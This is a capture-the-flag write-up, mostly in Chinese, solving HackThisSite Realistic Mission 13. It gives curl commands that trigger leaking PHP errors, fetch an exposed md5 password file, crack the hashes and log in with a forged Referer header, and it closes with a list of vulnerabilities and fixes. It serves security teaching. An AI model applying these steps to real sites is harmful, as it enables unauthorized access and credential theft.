HackThisSite - Realistic Mission 13

Challenge

Elbonia's Elections are coming! Help delay these elections by taking down the main competitor's site! Be careful though, you get caught, you'll be wishing you had your soap on a rope...

埃尔博尼亚大选将至,任务是拿下主要竞争对手的站点来拖住选举。入口 https://www.hackthissite.org/missions/realistic/13/ 是竞争对手 ENRP(Elbonian National Republican Party)的官网——一个 2004 年的静态站被原样复刻成 PHP,导航里有 news.php / debates.php / members.php / newsletter.php / mailinglist.php / speeches.php / press.php / economy.php

Solution

Recon:

  • 首页 index.php 是站点门面:竞选日程(Debates 2004-09-20 起、Voting 2004-11-13 @ Monotim Squares)加一段新闻摘要。members.php / mailinglist.php / debates.php / economy.php / news.php 都是静态内容,没有可利用的参数。
  • newsletter.php 给了一句关键提示:make sure you have the hidden login url and your password handy. —— 目标是一个"隐藏登录 URL",需要口令。
  • 真正有参数处理的只有两个页面:speeches.php(POST speechspeeches2.php)和 press.php(POST releasereadpress.php)。两个表单的下拉都只有少量合法值,这类手写拼接的页面在拿到非法参数时通常会打 PHP 报错,而报错会带出源码和路径。

Step 1: 两处报错把源码和目录结构吐出来

先看讲稿分支。speeches.php 的下拉只有 value="1"speech=1 返回 This speech is still being edited, as it had many errors because of our ex-typist;把值换成一个不存在的讲稿名,include() 失败,warning 里带着服务端绝对路径:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches2.php?speech=x"

错误页除了站点外框(导航、页脚)之外,正文是下面这些内容(原文照录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
The following speeches have been given already:

SPEECH: x could not be found

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php): failed to open stream: No such file or directory
Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php): failed to open stream: No such file or directory
Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php): failed to open stream: No such file or directory
Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

观察到的信息:站点根在 C:\Program Files\Apache Group\Apache2\ENRP\,脚本运行在 /www/hackthissite.org/www/missions/realistic/13/;存在 ENRP\oldsite\(旧站备份)、ENRP\admin\,以及一个 32 位十六进制命名的目录 21232f297a57a5a743894a0e4a801fc3。三条 include 串里的 speches.php 拼错了(少一个 e),说明这些是硬编码模板串。

再看新闻稿分支,它泄露得更彻底。press.php 是 POST releasereadpress.php,直接请求 readpress.php(不给参数)会踩到同一条报错路径,把 readpress.php 的源码片段和数据库错误一起打出来:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/readpress.php"

正文段落(原文照录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
MySQL Error: "" row does not exist in table "press_table";

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\Program Files\Apache Group\Apache2\ENRP\readpress.php on line 33

Error in query:

error_reporting(E_ALL);

$service_port = "80";
$address = "localhost";

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$in = "GET /speeches/passwords/" . md5('Speeches') . "";
$in .= "REFERER: http://ENRP/get_speeches_passwords_referer\n";
$in .= "\n\n";
$out = '';

socket_write($socket, $in, strlen($in));
echo "OK.\n";

include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\special.php");
include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\footer.php");
include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\arrange.php");
?>

这一段直接给出了通关路线:站点自己在服务端用 socket 去 GET /speeches/passwords/<某个目录>,目录名是 md5('Speeches'),并且请求时必须带上 REFERER: http://ENRP/get_speeches_passwords_referer。也就是说,/speeches/passwords/ 下面有个用 md5('Speeches') 命名的"受保护"目录。

Step 2: 算出受保护目录名,读出口令文件

按报错里泄露的表达式直接算 md5(注意不是 md5('speeches') 小写,原文是大写 S):

1
2
$ printf '%s' Speeches | md5sum
7e40c181f9221f9c613adf8bb8136ea8 -

拼成 URL 访问,得到的是 Apache 自动目录索引:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</title>
</head>
<body>
<h1>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/missions/realistic/13/speeches/passwords/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="passwords.fip">passwords.fip</a></td><td align="right">2013-12-30 05:28 </td><td align="right"> 66 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

目录里只有一个 passwords.fip(66 字节,扩展名写成 .fip,和前面 speches.php 一样是这个站的笔误风格)。把它拉下来:

1
2
3
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/passwords.fip"
7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3

两个 32 位十六进制值,用冒号分隔——这就是 newsletter 里说的"你的口令"。

Step 3: 爆破两个 md5,得到用户名和口令

两个值都是弱口令,字典一跑就出(hashcat -m 0 hash.txt rockyou.txt 之类)。这里直接用已知明文回算验证:

1
2
3
4
5
$ printf '%s' moni1 | md5sum
7bc35830abab8fced52657d38ea048df -

$ printf '%s' admin | md5sum
21232f297a57a5a743894a0e4a801fc3 -

passwords.fip 的内容(7bc35830abab8fced52657d38ea048df21232f297a57a5a743894a0e4a801fc3,冒号分隔)对应的是 moni1:admin,即用户名 moni1、口令 admin。注意左边那个 7bc35830abab8fced52657d38ea048df用户名的哈希md5('moni1')),它是口令文件里的字段,不是目录名——后面会看到把它当目录名用会 404。

Step 4: 诱饵后台 /13/admin/ 与真正的登录目录

手上有 moni1:admin 之后,直觉会去找后台。/missions/realistic/13/admin/ 确实存在一个登录页,但用这组凭据会被拒——HTS 官方关卡文章与公开 writeup 都记录了错误文案 "admin" does not match password for "moni1"。它是个诱饵:用户名口令都对,但页面不是真的

线索在 Step 1 的第一处报错里:include 路径中出现过 ENRP\admin\passes.php,还出现过一个 32 位 hex 目录 21232f297a57a5a743894a0e4a801fc3——刚刚算过,它就是 md5('admin')。作者用的是同一套把戏:把 admin 这个目录名换成它的 md5 当"隐藏"。用状态码验证目录真伪:

1
2
3
4
5
6
7
$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"
200

$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/7bc35830abab8fced52657d38ea048df/"
404

md5('admin') 那个目录返回 200,md5('moni1') 返回 404——真正的登录目录名是 md5('admin'),不是 md5('moni1')、也不是 md5('Speeches')(后者只用来保护 speeches/passwords/ 那层)。

关键陷阱:诱饵目录下面还有一个 /13/admin/passes.php,专门把想法往"Referer"上引:

1
2
3
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/admin/passes.php"
Passes need to be reset: send correct HTTP_REFERER to gain access here

它不给口令,只提示 HTTP_REFERER——和 Step 1 源码里 REFERER: http://ENRP/get_speeches_passwords_referer 是同一种套路:这一关反复用 Referer 当"门禁"。

Step 5: 哈希目录里的登录表单

哈希目录本身不设防,直接返回一份 234 字节的纯表单页:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"
1
2
3
4
5
<body bgcolor="black" text="White">
<form action="login2.php" method="POST">
<b>Username: </b><input type="text" name="user"><br /><br />
<b>Password: </b><input type="password" name="pass"><br />
<input type="submit" value="submit">

字段名确认是 userpass(不是 username/password),method=POSTaction=login2.php。不带 POST 数据直接 GET 登录脚本,返回的是 HTS 站点外框,关卡内容只有一行拒绝文案:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"
1
<center><b>Incorrect Username/Password</b></center>

Step 6: 登录与 completion oracle

moni1:admin POST 到 login2.php,同时带上哈希目录自身作为 Referer(这一关的来源检查就是照着 Step 1 源码里那个 REFERER: 头的模式设计的):

1
2
3
4
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/" \
--data 'user=<user>&pass=<pass>' \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"

凭据正确时服务端返回完成页

Vulnerabilities

  • PHP warning / 报错回显泄露路径与源码speeches2.phpinclude() 失败把 Windows 绝对路径、oldsite/admin 内部目录和脚本自身路径全部打印;readpress.php 更进一步,把自身源码(含服务端 socket 请求的构造过程)连同数据库错误一起输出。生产环境必须 display_errors=Off,warning 只进日志。
  • 把 md5 当访问控制:受保护目录名是 md5('Speeches')、登录目录名前缀是 md5('admin'),等于把安全性押在"攻击者猜不到原文"上;32 位 hex 目录名本身就是提示,离线字典一击即破。
  • 隐藏目录可枚举且无鉴权speeches/passwords/<hash>/ 开了 Apache 目录索引,直接列出并下载 passwords.fip<md5('admin')>/ 目录不设防地返回登录表单,把爆破面缩到一个已知路径上。
  • 口令文件本身不设防passwords.fip 里就是两个未加盐、无迭代的 md5,等于明文。
  • 诱饵式安全:真正的门禁只有 login2.php 的凭据校验和一个可伪造的 Referer 检查(admin/passes.php 甚至把"send correct HTTP_REFERER"写在了页面上),攻击者只要看穿诱饵就能直达。

修复方向:错误信息统一走日志、不回显任何路径或源码;受保护资源用会话鉴权而不是 md5 目录名;目录索引关闭,口令文件移出 Web 根目录并用加盐哈希存储;删除诱饵页,把所有入口收敛到同一套鉴权逻辑;Referer 只能作为 CSRF 的辅助信号,且必须配合服务端 token。